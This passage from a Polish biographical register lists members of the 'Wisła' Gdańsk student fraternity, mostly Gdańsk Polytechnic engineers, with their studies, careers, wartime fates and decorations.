  181. Ludwik Przyłuski, (ok. 1902 - 1978 w Bydgoszczy) student i absolwent Wydziału Elektrycznego PG 1922-30, po studiach pracował w gdańskim DOKP, a po wojnie w Bydgoszczy
  182. Ludwik Stanisław Radke, (ok. 1909 - 1939) absolwent Gimnazjum B. Brauna w Łodzi, student Wydziału Budownictwa Lądowego PG 1929-32, studia ukończył we Lwowie, poległ w wojnie obronnej 1939
  183. Leon Radwański, (ok. 1893 - 1940/41 w Warszawie) z Wielkopolski, student i absolwent Wydziału Budownictwa Lądowego PG 1913-21 (z przerwą wojenną), c. 1914, po studiach pracował m.in. jako dyrektor techniczny Katowickiego Przedsiębiorstwa Komunikacji Miejskiej, a następnie Stołecznego Przedsiębiorstwa Komunikacyjnego
  184. Czesław Rakowski, (ok. 1884? - zm. w Warszawie) absolwent Gimnazjum w Warszawie 1904, student Wydziału Elektrycznego PG 1905-09
  185. Alojzy Ramczykowski, (10 czerwca 1910 w Przodkowie k. Kartuz - 5 grudnia 1985 w Gdańsku) absolwent Gimnazjum w Toruniu, student Wydziału Budowy Okrętów PG 1935-39, w czasie studiów pracował w Stoczni Rybackiej w Gdyni, w 1939 wywieziony przez Rosjan w głąb ZSRR, gdzie przebywał do 1948, po powrocie do kraju pracował jako dyrektor techniczny Stoczni na Stogach, wznowił i ukończył studia PG 1949, kierownik Działu Śródlądowego w Polskim Rejestrze Statków 1949-62, równocześnie starszy asystent i adiunkt w Katedrze Konstrukcji Okrętów PG, od 1955 redaktor i wydawca czasopisma “Budownictwo Okrętowe”, w Biurze Projektów Budownictwa Morskiego “Projmors” technolog i generalny projektant Stoczni Śródlądowych, Baz i Ośrodków Żeglarskich 1962-76, odznaczony m.in. Złotym Krzyżem Zasługi
  186. Edward Reszke, (ok. 1907 - 3 maja 1959) student Wydziału Budownictwa Okrętowego PG 1908-09, założyciel Związku Akademików Gdańskich 1913
  187. Eugeniusz Rodkiewicz, (ok. 1913 - po 1945) student Wydziału Chemicznego PG 1933-36, pracował w przemyśle naftowym

    Mieczysław (Eugeniusz ?) Rodkiewicz, 1927 r.

  188. Mieczysław Rodkiewicz, (17 listopada 1903 w Odessie - 18 sierpnia 1987 w Gdańsku) absolwent Gimnazjum w Lublinie 1922, student i absolwent 1929 Wydziału Elektrycznego PG, prezes 1925 oraz w latach 1926-27, prezes Gdańskiego Koła Międzykorporacyjnego oraz Bratniej Pomocy Studentów PG, po studiach pracował w Śląsko-Dąbrowskim Kolejowym Towarzystwie Eksploatacyjnym, następnie jako starszy asystent w Katedrze Maszyn Elektrycznych PL, wreszcie naczelnik Wydziału Mechanicznego w Łódzkich Elektrycznych Kolejach Dojazdowych, w wojnie obronnej 1939 dowódca plutonu w Kompanii Łączności 7 Dywizji Piechoty, w czasie wojny w niemieckim obozie jenieckim, po wojnie prowadził własne przedsiębiorstwo “Elektrotrakcja”, od 1950 kierownik Katedry Napędu Elektrycznego PG, później zastępca dyrektora d/s naukowo-dydaktycznych Instytutu Wysokich Napięć i Aparatów Elektrycznych oraz kierownik Studium Podyplomowego w zakresie Trakcji Elektrycznej, doktorat 1960, prof. nadzw. 1967, odznaczony Krzyżem Kawalerskim OOP, pochowany na Cmentarzu Centralnym we Wrzeszczu

  189. Kazimierz Rodowicz, (14 stycznia 1885 w Warszawie - 19 kwietnia 1951 w Warszawie) - brat Stanisława (Wisła, h.c. Sparta), absolwent Instytutu Inżynierów Komunikacji w Sankt Petersburgu, studia kontynuował na Politechnice w Karlsruhe, pracował w Szkole Politechnicznej we Lwowie 1912-14, od 1921 adiunkt i wykładowca w II Katedrze Budownictwa Wodnego PW, od 1946 prof. zw. i kierownik II Katedry, pracownik 1921-39, w tym od 1927 dyrektor Głównej Dyrekcji Dróg Wodnych, w 1939 aresztowany w Brześciu przez Rosjan, zwolniony wrócił do Warszawy, podczas okupacji pracował jako referent w Urzędzie Dróg Wodnych oraz jako doradca w Radzie Technicznej i w Radzie Komunikacyjnej Ministerstwa Komunikacji, w latach 20-tych opracował kompleksowy projekt regulacji Wisły z uwzględnieniem regulacji łożysk poszczególnych jej odcinków i dopływów, przedstawił projekty budowy portów w Krakowie, Płocku i Poznaniu, kierował budową Portu Handlowego na Pradze w Warszawie, prowadził wstępne prace projektowe budowy zbiorników wodnych w Czorsztynie, Goczałkowicach i Mianowie na Bystrzycy, od 1949 członek zwyczajny Towarzystwa Naukowego Warszawskiego, odznaczony Krzyżem Oficerskim Orderu Polonia Restituta 1928 oraz Złotym Krzyżem Zasługi 1938
  190. Stanisław Rodowicz, student Wydziału Budowy Maszyn PG 1934-37
  191. Stanisław Rodowicz, (16 lutego 1883 w Kijowie - 1940 w Katyniu) s. Teodora i Stanisławy, ojciec Kazimierza, Stanisława i Władysława (wszyscy Sparta), absolwent Gimnazjum w Kijowie, Politechniki w Karlsruhe (inż. technolog) i Kijowie, uczestnik wojny polsko-bolszewickiej 1920, rzeczoznawca i doradca w sprawach technicznych w ministerstwach, instytucjach państwowych i samorządowych, izbach przemysłowo-handlowych, fabrykach, m.in. dyrektor Komitetu Chłodnictwa w Ministerstwie Przemysłu i Handlu 1930-35, prezes Stowarzyszenia Techników Polskich 1929-32, Filister Wisły, od 1937 Filister honorowy Sparty, mjr rez. WP, w wojnie obronnej 1939 w 6 Baonie Saperów, w niewoli sowieckiej, zamordowany przez NKWD, odznaczony m.in. Krzyżem Walecznych, Krzyżem Oficerskim Orderu Polonia Restituta, francuską Legią Honorową 5 kl.
  192. Wacław Romanowski, inż. elektryk, przed wojną zamieszkały w Chludowie
  193. Janusz Ropelewski, (1906 - 1977 w Poznaniu) student Wydziału Budowy Maszyn PG 1925-36

    Henryk Rosochowicz, prawd. ok. 1919 r.

  194. Henryk Rosochowicz, (19 stycznia 1900 w Miłosławiu k. Wrześni - 4 lutego 1942 w Auschwitz) s. Antoniego i Kazimiery z d. Kluczyńska, brat Antoniego (Capitolia), student i absolwent Wydziału Budowy Maszyn Okrętowych PG 1919-24, członek Wisły, założyciel Gedanii 1922, prezes, po studiach pracownik Wydziału Maszynowego Gdańskiej Dyrekcji Kolei Państwowej, później kierownik Wydziału Maszynowego Zarządu Portu w Gdańsku, od 1935 kierownik Wydziału Młodzieżowego Związku Polaków, 1 września 1939 aresztowany przez Gestapo, wywieziony do obozu koncentracyjnego w Auschwitz, gdzie zginął

  195. Stanisław Rostkowski, inż. mechanik, przed wojną dyrektor Chłodni Eksport w Konstancinie
  196. Antoni Różycki, inż., przed wojną zamieszkały w Warszawie
  197. Jerzy Rüdiger, (ok. 1893 - 1915) z Kongresówki, student Wydziału Budownictwa Lądowego PG 1913-, c. 1914, autor metalowej odznaki Związku Akademików Gdańskich (koło zębate z cyrklem i trójkątem), po wybuchu I wojny światowej wcielony od armii niemieckiej, poległ na froncie latem 1915, pochowany w Warszawie
  198. Henryk Rukóyżo, członek Komisji Rewizyjnej Związku Filistrów ZAG Wisła 1939
  199. Włodzimierz Rukóyżo, (30 października 1912 w Warszawie - 18 lutego 1971 we Wrocławiu) absolwent Gimnazjum im. S. Staszica w Warszawie, student Politechniki w Charlottenburgu i Wydziału Budowy Maszyn PG 193?-39, sekretarz sem. let. 1933/34 oraz sem. let. 1935/36, prezes ZAG Wisła 1937, wiceprezes Gdańskiego Koła Międzykorporacyjnego 1938, podczas okupacji pracował jako technik w Zakładach Elektrotechnicznych “Elektroautomat” w Warszawie, a później jako kierownik robót instalacyjnych w Biurze Technicznym “Józef Kamler i Syn” w Warszawie, uczestnik Powstania Warszawskiego w oddziałach ratowniczych, po wojnie ukończył studia (mgr inż.) PWr., do 1948 pracował jako kierownik w filii “Biura Instalacyjnych Urządzeń Zdrowotnych M. Sobala” w Warszawie, później w biurach projektów, projektował ważne obiekty przemysłowe, m.in. Hutę Miedzi “Konrad”, Hutę “Bolesław” k. Olkusza, Wytwórnię Sprzętu Komunikacyjnego we Wrocławiu, Dolmel, PaFaWag, Polar we Wrocławiu, od 1954 pracował także dydaktycznie na Wydziale Inżynierii Sanitarnej PWr., wieloletni pracownik zespołu Rzeczoznawstwa Polskiego Zrzeszenia Inżynierów i Techników Sanitarnych, pochowany na Cmentarzu Świętej Rodziny
  200. Jan Rybicki, (27 czerwca 1886 - 17 stycznia 1934 w Warszawie), z gub. warszawskiej, s. Stanisława, uczeń Szkoły Realnej w Łowiczu, student Instytutu Politechnicznego w Warszawie, student i absolwent Politechniki w Karlsruhe, student i absolwent Wydziału Architektury PR 1912-14, przyjęty do Arkonii 1912 (nr ew. 859), Filister Arkonii i Wisły
  201. Stanisław Rybicki, inż., przed wojną dyrektor Kolei Państwowych, zamieszkały we Lwowie

    Józef Sarnowicz, 1936 r.

  202. Józef Sarnowicz, (1912 - 21 listopada 1979 w Krakowie) student Wydziału Budowy Maszyn PG 1935-39, już w okresie studiów posiadał patent kapitana żeglugi jachtowej, w lutym 1939 w czasie rugów studentów-Polaków pobity i aresztowany, oficer rez., w wojnie obronnej 1939 jako dowódca plutonu w obronie Gdyni, po kapitulacji w niewoli niemieckiej w obozach Prezenlau, Arswalde, Gross-Born, po wojnie studiował PG, długoletni pracownik „Budostalu” w Krakowie

    Feliks Sauter.

  203. Feliks Sauter, (2 stycznia 1905 w Lublinie - 24 lutego 1975 w Gdańsku) absolwent średniej szkole handlowej im. Fetterów 1924, student i absolwent Wydziału Budowy Maszyn PG 1924-37, sekretarz Związku Filistrów ZAG Wisła 1939, po studiach pracuje w Fabryce Traktorów i Maszyn w Bydgoszczy, a od 1939 w Zakładach Elektromechanicznych „Rhon i Zieliński”, po wojnie w 1946 adiunkt w Laboratorium Maszynowym Politechniki Gdańskiej, od 1950 zastępca prof. i kierownik Katedry Pomiarów Maszynowych PG, odznaczony m.in. Złotym Krzyżem Zasługi

  204. Wacław Scheller, inż., przed wojną zamieszkały w Warszawie
  205. Zygmunt Schiele, inż. architekt, przed wojną dyrektor Warszawskiego Towarzystwa „Małopolska”, skarbnik Związku Filistrów ZAG Wisła 1939
  206. Henryk Schmidtke, ( - po 1945 w Katowicach) student Wydziału Architektury PG 1928-34, olderman sem. zim. 1932/33, po wojnie w Wydziale Architektury Wojewódzkiej Rady Narodowej w Katowicach
  207. Marcin Scheider, wiceprezes sem. zim. 1931/32
  208. Wilhelm Jan Schneider, przed wojną zamieszkały w Jelonkach
  209. Włodzimierz Schneider, (11 listopada 1909 w Lublinie - 11 listopada 1980 w Lublinie) absolwent Gimnazjum Hetmana Zamojskiego 1928, student Wydziału Budowy Maszyn PG 1928-35, olderman sem. zim. 1933/34, po studiach pracował w Zakładach Ostrowieckich, w wojnie obronnej 1939 w Armii Pomorze, ranny w walkach, podczas okupacji w AK, po wojnie projektant w biurach projektowych w Gdańsku, przez siedem lat wykładowca na Politechnice Lubelskiej
  210. Witold Schwotzer, (13 maja 1909 w Warszawie - 4 lipca 1990 w Gdańsku) absolwent Gimnazjum M. Reja w Warszawie 1927, student Wydziału Elektrycznego PG 1927-37, olderman Wisły, po studiach oraz w okresie okupacji pracował w Zakładach Elektromechanicznych “Rohn i Zieliński”, po upaństwowieniu w 1945 kierownik oddziału gdańskiego firm oraz delegat Centralnego Zarządu Przemysłu Elektrotechnicznego d/s UNRRA i Demobilu na Wybrzeżu, wicedyrektor Centrali Handlowej Przemysłu Elektrotechnicznego Oddział w Gdańsku 1947-49, główny specjalista instalacji elektrycznych w gdańskim “Miastoprojekcie” 1949-76, odznaczony Krzyżem OOP

    Jerzy Siennicki, 1936 r.

  211. Jerzy Siennicki, (ok. 1915 - 1939-45) w latach 1933 (35?)-39 student Wydziału Budowy Okrętów PG 1935-39, inicjator utworzenia sekcji fotograficznej „Bratniej Pomocy”, w czasie okupacji aresztowany przez Gestapo, rozstrzelany

  212. Tadeusz Siwek, (ok. 1908) student Wydziału Budowy Maszyn PG 1929-35
  213. Stanisław Skarbiński, inż. mechanik, przed wojną dyrektor Towarzystwa Grodzieckiego, zamieszkały w miejsc. Grodziec

    Leopold Skulski, 1928 r.

  214. Leopold Skulski, (15 listopada 1877 w Zamościu - prawdopodobnie w 1940 w Brześciu) absolwent (inż. chemik) Politechniki w Karlsruhe, działał w Towarzystwie Gimnastycznym “Sokół”, działacz narodowy, od stycznia 1917 radny miasta Łodzi, nadburmistrz Łodzi 1917-19, od 1919 poseł na Sejm RP, Prezes Rady Ministrów od 13 grudnia 1919 do 9 czerwca 1920, Minister Spraw Wewnętrznych od 24 lipca 1920 do 28 czerwca 1921, od 1925 członek Trybunału Stanu z rekomendacji PSL “Piast”, prezes Związku Filistów ZAG Wisła 1926-28(?), w latach 30-tych do 1936 prezes Polskiego Radia, aresztowany przez NKWD w Pińsku, zmarł lub został zamordowany w areszcie w Brześciu

  215. Stanisław Skulski, (ok. 1915 - ) student Wydziału Budowy Maszyn PG 1936-39
  216. Janusz Smogorzewski, przed wojną Sędzia Sądu Okręgowego w Warszawie
  217. Tadeusz Sokołowski, inż. mechanik, prze wojną dyrektor warszawskiej Fabryki “Citroen”
  218. Tadeusz Staniewski, (ok. 1904 - po 1945) student Wydziału Budowy Maszyn PG 1924-30, wiceprezes Gdańskiego Koła Międzykorporacyjnego 1927, przed wojną mieszkał w Toruniu
  219. Albin Stańczyk, (ok. 1904 - 1939-45) student Wydziału Budownictwa Lądowego PG 1925-34, prezes Bratniej Pomocy Studentów PG 1930/31, zmarł w czasie wojny
  220. Brunon Stasierowski, (26 lipca 1913 w Gwożdzianach - 12 stycznia 1979) s. Stanisława i Weroniki z d. Dąbrowskiej, matura 1935, student Wydziału Budowy Maszyn PG 1935-39, w czasie okupacji kierownik młyna, pracownik Pełnomocnika Komitetu Ekonomicznego Rady Ministrów ds. Ziem Zachodnich 1945, pracownik Państwowego Urzędu Ziemskiego w Malborku 1945-46, kierownik Warsztatu Naprawczego PGR w Malborku 1946-50, dyrektor Jarocińskiej Fabryki Obrabiarek 1951-59, pracownik Muzeum Regionalnego w Jarocinie 1960-69
  221. Jan Stasierowski, student PG 1937-39
  222. Stefan Steinhagen, przed wojną dyrektor fabryki papieru „Steinhagen i Saenger” w Warszawie
  223. Andrzej Stołągiewicz, przed wojną dyrektor warszawskiego biura Stoczni Gdańskiej
  224. Józef Strasburger, (ok. 1907 - 1928 w Warszawie) student Wydziału Elektrycznego PG 1927-28, w czasie studiów zmarł na leukemię
  225. Edward Strohal, inż., przed wojną profesor PL
  226. Mieczysław Susicki, (1909 w Środzie Wlkp. - 1968 w Warszawie) student i absolwent Wydziału Budowy Maszyn PG 1927-35, po studiach do 1952 pracował w Zakładach „H. Cegielski”, m.in. jako dyrektor fabryki obrabiarek, dyrektor techniczny zakładów „Zamach” w Elblągu 1952-61, dyrektor techniczny, a później dyrektor Biura Konstrukcji Obrabiarek i Narzędzi „Koprotech” w Warszawie 1961-68, laureat Nagrody Państwowej I-go stopnia, odznaczony m.in. Krzyżem Kawalerskim i Oficerskim OOP

    Jan Szcześniewski, 1927 r.

  227. Jan Szcześniewski, (1903 - po 1945 w Świdniku) inż., wiceprezes sem. zim. 1924/25, przed wojną zamieszkały w Toruniu

  228. Marcin Szneider, (?)

    Alojzy Szolc, 1927 r.

  229. Alojzy Szolc, (1905 - ) student PG 1921-25, inż. budowlaniec, przed wojną zamieszkały w Mińsku Mazowieckim

  230. Gustaw Szołowski, inż. mechanik, przed wojną współwłaściciel Fabryki Narzędzi Pożarniczych „Strażak” w Warszawie
  231. Franciszek Szpitter, (1908 w Łasinie k. Grudziądza - 1952 w Sopocie) student i absolwent (inż. chemik) Wydziału Chemicznego PG 1920-28, po studiach prowadził własne przedsiębiorstwo zajmujące się m.in. uzdatnianiem wody dla przemysłu, po 1945 prowadził w Sopocie Zakład Instalacji Wodno-Kanalizacyjnych i Centralnego Ogrzewania
  232. Jerzy Sztark, (1910 - ) student Wydziału Elektrycznego PG 1929-36, I wiceprezes sem. zim. i sem. let. 1933/34, po wojnie na emigracji w Stanach Zjednoczonych
  233. Michał Szuca, dr, przed wojną kierownik Działu Rady Portu w Gdańsku, mieszkał w Sopocie
  234. Jerzy Zdzisław Szulakiewicz, (1909 - ) student Wydziału Chemicznego PG 1929-32
  235. Henryk Szuster, (ok. 1917 - 1963 w Węgorzewie) student Wydziału Budowy Okrętów PG 1937-39, po wojnie w Węgorzewie prowadził warsztat szkutniczy
  236. Apolinary Szwedowski, (ok. 1893 - ) student PG 1912-14
  237. Roman Szymański, inż. mechanik
  238. Stanisław Szymański, ( - 1938/39) przed wojną dyrektor Towarzystwa Zawiercie w Warszawie
  239. Franciszek Ścigała, ze Śląska, student i absolwent (inż. chemik) Wydziału Chemicznego PG 1923-28, przed wojną mieszkał w Katowicach
  240. Kazimierz Śliwiński, inż. elektryk, przed wojną zamieszkały w Warszawie
  241. Zygmunt Ślósarski, inż. mechanik, przed wojną współwłaściciel Kujawskiej Fabryki Maszyn we Włocławku
  242. Jan Zbigniew Śmidowicz, (16 maja 1911 w Hamburgu - 16 lutego 1994 w Szkocji), s. Jana i Zofii, brat Tadeusza (Wisła), matura 1929, student Wydziału Elektrycznego PG, później Wydziału Architektury PG 1930-39, początkowo w Wiśle, sekretarz sem. let. 1930/31, później w Helanii, od 1938 pracował jako architekt w gdańskiej firmie Z. Kupiec i T. Korsak, ppor. rez. saperów, w wojnie obronnej 1939 w Batalionie Zapasowym Saperów przy Kadrze Floty na Oksywiu, brał udział w obronie Gdyni i Oksywia, po upadku Oksywia przedostał się do WP we Francji, a po upadku Francji w Wielkiej Brytanii, z początkiem 1941 na Bliskim Wschodzie do Bagdadu, Palestyny i Egiptu, od 1943 oficer sztabowy w II Korpusie PSZ gen. Władysława Andersa, brał udział m.in. w bitwie o Monte Casino i pod Ankoną, odznaczony m.in. Krzyżem Walecznych i Medal of British Empire, po wojnie ukończył studia na Wydziale Architektury Uniwersytetu Sheffield (uzyskał tytuł Bachelor of Architecture with Honours), pozostał na emigracji w Wielkiej Brytanii, pracował jako architekt Stirlingshire w Szkocji

    Tadeusz Felicjan Śmidowicz.

  243. Tadeusz Felicjan Śmidowicz, (15 września 1906 we Wrześni - 5 lipca 1978 w Warszawie) s. Jana i Zofii, brat Jana Zbigniewa (Helania), absolwent Gimnazjum Matematyczno-Przyrodniczego im. Bergera w Poznaniu 1925, student Wydziału Budownictwa Lądowego PG 1925-34, od 1931 pracował w firmie budowlanej swojego ojca “Jan Śmidowicz. Inżynier. Przedsiębiorstwo Robót Inżynieryjnych”, podczas okupacji pracował w Towarzystwie Budowlanym Starczyński-Czarnotz-Bojarski w Warszawie 1940-44, po wojnie zastępca naczelnika Oddziału Odbudowy DOKP w Poznaniu, od września 1945 główny kierownik robót i prokurent w firmie ojca, następnie dyrektor Oddziału III “Hydrotrestu” (w który została przekształcona firma ojca) 1948-51, pełnił obowiązki naczelnego inż. w Centralnym Zarządzie Budownictwa Wodno-Inżynieryjnego przy Ministerstwie Budownictwa Przemysłowego w Warszawie 1951-60, dyrektor “Hydrobudowy I” w Warszawie 1960-63, naczelnik wydziału produkcji w Zjednoczeniu Budownictwa Wodno-Inżynieryjnego w Warszawie 1963-71, w pracy zawodowej podlegały mu m.in. budowy zapór wodnych w Solinie, w Dębem na Zalewie Zegrzyńskim, we Włocławku na Wiśle, budowa suchego doku w stoczni w Gdyni, bezpartyjny, odznaczony Krzyżem Kawalerskim OOP, pochowany na warszawskich Powązkach

    Jerzy Świetlik, 1927-1928 r.

  244. Jerzy Bogdan (Bohdan Jerzy) Świetlik, (1903-1987) z Ostrowa Wlkp., student i absolwent Wydziału Budowy Maszyn PG 1923-29, sekretarz 1925, po studiach pracował w zakładach “H. Cegielski” w Poznaniu, w czasie okupacji mieszkał w Warszawie, po Powstaniu wywieziony na roboty do Niemiec, wrócił do kraju w 1947, pracował w Poznańskiej Fabryce Pomocy Naukowych, a później wykładał na Akademii Rolniczej w Poznaniu

  245. Jerzy Telatycki, sekretarz 1934
  246. Józef Telatycki, inż. mechanik, przed wojną właściciel Polskich Zakładów Wapiennych “Wapno Opoczyńskie”
  247. Henryk Thomas, (20 września 1898 w Turwi w pow. kościańskim - 1943 w Piaśnicy k. Wejherowa) s. Wojciecha i Heleny z Mackiewiczów, absolwent niemieckiego Gimnazjum Fryderyka Wilhelma w Poznaniu 1917, student Politechniki w Charlottenburgu, uczestnik Powstania Wielkopolskiego w I Pułku Strzelców Wielkopolskich, obrońca Lwowa 1919, ranny i w niewoli ukraińskiej, uczestnik wojny polsko-rosyjskiej 1920, student i absolwent Wydziału Budownictwa Lądowego PG 1921-27, członek Prezydium Wisły, od 1925 pracował jako referendarz w DOKP w Gdańsku, przed wojną mieszkał w Sopocie, uczestnik wojny obronnej 1939, aresztowany przez Gestapo w 1939, zesłany do obozu koncentracyjnego w Stutthofie, w 1943 zamordowany w Piaśnicy k. Wejherowa, odznaczony Srebrnym Krzyżem Zasługi 1936
  248. Janusz Thor, (ok. 1908 - 1986 w Warszawie) student Wydziału Elektrycznego PG 1928-36
  249. Tadeusz Tołwiński, inż. architekt, przed wojną prof. PW

    Tadeusz Tomaszkiewicz, 1927 r.

  250. Tadeusz Tomaszkiewicz, (18 listopada 1903 w Gnieźnie - 12 lutego 1980 w Katowicach) absolwent Gimnazjum w Gnieźnie 1923, student Wydziału Filozofii UP. student Wydziału Budowy Maszyn PG 1925-32, prezes sem. zim. 1931/32, po studiach kierownik techniczny w Dziale Głównego Energetyka w fabryce „Goplana”, pracował także w Stowarzyszeniu Nadzoru Kotłów w Katowicach i był kierownikiem ruchu maszyn w Kopalni „Śląsk”, w czasie wojny w Przedsiębiorstwie Instalacji Kopalnianych w Sosnowcu, od 1945 do przejścia na emeryturę na kierowniczych stanowiskach w Zakładach Energetycznych Regionu Południowego, autor szeregu opracowań technicznych, projektów rozbudowy i modernizacji śląskich elektrowni, odznaczony m.in. Krzyżem Kawalerskim OOP

  251. Stanisław Tomczycki, inż. mechanik, przed wojną zamieszkały w Warszawie
  252. Stefan Torżewski, inż. chemik, przed wojną zamieszkały w Warszawie
  253. Stanisław Uleyski, inż. architekt, przed wojną zamieszkały w Warszawie

    Stanisław Uliński, 1927 r.

  254. Stanisław Uliński, (ok. 1902 - lata 60-te) student Wydziału Budownictwa Lądowego PG 1922-33

  255. Witold Umiński, ( - po 1945) student Wydziału Budownictwa Lądowego PG 1922-30, w czasie studiów był organizatorem Związku Polskiej Młodzieży Demokratycznej, po studiach pracował w DOKP w Gdańsku
  256. Andrzej Voellnagel, (5 lipca 1919 w Warszawie - 1998) matura 1937, student Wydziału Budowy Maszyn PG 1938-39, c. 1938, po Powstaniu Warszawskim wywieziony do Dachau, sekretarz w Polskiej Misji Wojskowej we Frankfurcie n/Menem 1947-49, studia ukończył po wojnie PŁ 1950 (inż. mechanik), po studiach główny mechanik w Miejskim Przedsiębiorstwie Taksówkowym wykładowca w Technikum Mechanicznym w Hanoi 1950-58, wieloletni red. naczelny kwartalnika „Przegląd Techniki Brytyjskiej” i „Polish Engineering Review”, od 1976 tłumacz i autor wielu publikacji technicznych, znany artysta-fotografik, w 1955 opublikował pierwszą w kraju książkę o fotografii kolorowej, był prezesem warszawskiego oddziału Związku Polskich Artystów Fotografików, swój dorobek artysty-fotografika prezentował m.in. w Lipsku, Sofii, Berlinie, Tokio i Warszawie, odznaczony Krzyżem Kawalerskim OOP
  257. Emil Voellnagel, inż., przed wojną dyrektor Fabryki G. Gerlach w Warszawie
  258. Wagner, ( - po 1945) od 1919 student Wydziału Budowy Maszyn PG, bardzo czynny w Związku Akademików Gdańskich, m.in. prowadził bibliotekę
  259. Zbigniew Wahl, (20 października 1908 w Warszawie - 1985 w Warszawie) matura 1927, student Wydziału Architektury PG 1929-31, później student i absolwent PG, po studiach od 1935 pracował jako architekt miejski w Toruniu, w czasie okupacji mieszkał w Warszawie, po Powstaniu wywieziony do obozu koncentracyjnego Sachsenhausen-Oranienburg, uczestniczył w „marszu śmierci” - przemarszu więźniów z obozu do rejonu Schwerina (ok. 300 km), po wojnie przez trzy lata prowadził własne przedsiębiorstwo budowlane, od 1949 naczelnik wydziału w Ministerstwie Łączności, później główny specjalista w Biurze Studiów Łączności, odznaczony Złotym Krzyżem Zasługi
  260. Wojciech Watten, (1918-1973) student PG 1935-39

    Stanisław Weil, ok. 1900 r.

  261. Stanisław Weil, (15 sierpnia 1875 w Ozorkowie - 25 września 1944 w Warszawie) s. Roberta i Doroty z d. Buchholz, brat Karola (Arkonia), stryj Jana (Respublica), absolwent IV Gimnazjum w Warszawie, student chemii na Politechnice w Karlsruhe, a następnie na uniwersytetach kolejno w Tyburgu, Bernie i Fryburgu, doktorat Fryburg 1900, asystent przy Katedrze Chemii Organicznej Uniwersytetu w Bernie 1900-01, następnie pracował m.in. w przemyśle nieorganicznym przy produkcji leków oraz wykładał chemię w szkołach i kursach pomaturalnych, kierował także pracownią chemiczną Warszawskiego Towarzystwa Farmaceutycznego, od 1917 organizował administrację farmaceutyczną w odradzającym się państwie polskim, naczelnik wydziału farmaceutycznego w Departamencie Spraw Wewnętrznych 1918, dyrektor departamentu w Ministerstwie Zdrowia 1919, organizator i pierwszy dyrektor Państwowego Instytutu Farmaceutycznego, habilitacja Wydziału Medycznego UW 1921, od 1921 wykładowca chemii farmaceutycznej i historii nauk farmaceutycznych UW, dyrektor oddziału warszawskiego szwajcarskiej firmy farmaceutycznej Hoffman-la-Roche 1928-32, prof. UW 1930, organizator i reformator studiów farmaceutycznych, autor prac monograficznych i podręczników, w czasie Powstania Warszawskiego po upadku Mokotowa podczas wypędzania przez Niemców ludności cywilnej z dzielnicy zabity strzałem w tył głowy

  262. Henryk Weker, inż. elektryk, przedstawiciel Stoczni Gdańskiej w Gdyni
  263. Kazimierz Wengris, (ok. 1909 - ) student PG 1929-35, po wojnie mieszkał w Czechach
  264. Jan Wiorogórski, inż. elektryk, przed wojną mieszkał w Katowicach
  265. Olgierd Wilczewski, inż. chemik, przed wojną radca Państwowego Urzędu Patentowego w Warszawie

    Leon Witt, 1927 r.

  266. Leon Witt, (ok. 1904 - ) student Wydziału Budowy Okrętów PG 1924-28

  267. Wojewoda, (ok. 1900 - ) student Wydziału Budownictwa Lądowego PG 1918-25, czynny przy organizacji Polskiego Domu Akademickiego i przy odtworzeniu po wojennej przerwie Związku Akademików Gdańskich, członek Komitetu Organizacyjnego Bratniej Pomocy Studentów PG
  268. Antoni Wołłągiewicz,
  269. Tadeusz Woźny, (8 kwietnia 1898 w Zarzewie k. Poznania - 23 października 1973 w Poznaniu) student i absolwent Wydziału Budowy Maszyn PG 191?-21, założyciel Związku Akademików Gdańskich 1913, uczestnik Powstania Wielkopolskiego, członek Organizacji Wojskowej Pomorze 1918-19, kapitan łączności przy Komisariacie RP w Wolnym Mieście Gdańsku, po studiach pracował w Zakładach “H. Cegielski” w Poznaniu i w „Zgodzie” w Świętochłowicach, od 1928 w Zarządzie Miejskim w Poznaniu, zaprojektował i zrealizował projekt pierwszej w kraju spalarni śmieci, w 1939 wysiedlony do Generalnej Guberni, od 1945 w Poznaniu m.in. w Przedsiębiorstwie Wodociągów i Kanalizacji, działacz NOT, odznaczony Złotym Krzyżem Zasługi
  270. Alojzy Wróblewski, (ok. 1893 - 1939-45) student Wydziału Budownictwa Lądowego PG 1913-14 i 1918-20, założyciel Związku Akademików Gdańskich 1913, działacz Filomatów Pomorskich oraz działacz społeczny na rzecz gdańskiej Polonii
  271. Wojciech Wyczyński, inż. chemik, przed wojną zamieszkały w miejscowości Ozorków
  272. Janusz Wyganowski, inż. chemik, przed wojną zamieszkały w Warszawie
  273. Czesław Zabrodzki, (20 grudnia 1913 w Moskwie - 25 lutego 1993 w Gdyni) absolwent Gimnazjum Towarzystwa Szkół Średnich w Gdyni 1936, student Wydziału Elektrycznego PG 1936(?)-39, c. 1936, pracował w Stoczni Gdyńskiej jako elektryk. od 1942 żołnierz AK zgrupowania „Alfa”, w październiku 1945 kierownik zespołu (5-zakładów) Stoczni Rybackich, naczelnik wydziału technicznego Dyrekcji Żeglugi i Stoczni Rzecznych 1948-55, uzyskał dyplom inż. NOT-u. 1955, kierownik doskonalenia kadr w Zakładach Mechanicznych im. gen. K. Świerczewskiego w Elblągu 1955-65, kierownik Ośrodka Doskonalenia Kadr w Ministerstwie Przemysłu Ciężkiego 1965-68, a później do przejścia na emeryturę jako specjalista d/s doskonalenia kadr w Zjednoczeniu Przemysłu Okrętowego 1968-79, odznaczony Krzyżem Kawalerskim OOP i Złotym Krzyżem Zasługi, od 1979 sekretarz Koła b. Studentów Polaków PG
  274. Jerzy Zair, (2 stycznia 1914 w Eschwiler w Niemczech - 5 października 1977) absolwent Gimnazjum w Szopienicach 1934, student Wydziału Architektury PG 1937-3?, prezes Zrzeszenia Studentów Polaków w Wolnym Mieście Gdańsku, relegowany z uczelni za zorganizowanie antyhitlerowskiej manifestacji, uczestnik wojny obronnej 1939, uciekł z niewoli niemieckiej, w 1942 wywieziony na roboty do Niemiec, po wojnie kontynuował studia PK 1947-48, po studiach pracował m.in. jako generalny projektant w „Miastoprojekcie” w Katowicach i Wrocławiu oraz jako kierownik budów poznańskiej „Hydrobudowy”, pochowany na cmentarzu w Kluczborku
  275. Artur Zajdel, (ok. 1908 - ) student Wydziału Architektury PG 1928-38, po wojnie mieszkał i pracował w Katowicach
  276. Józef Zawadzki, inż. chemik, przed wojną prof. PW
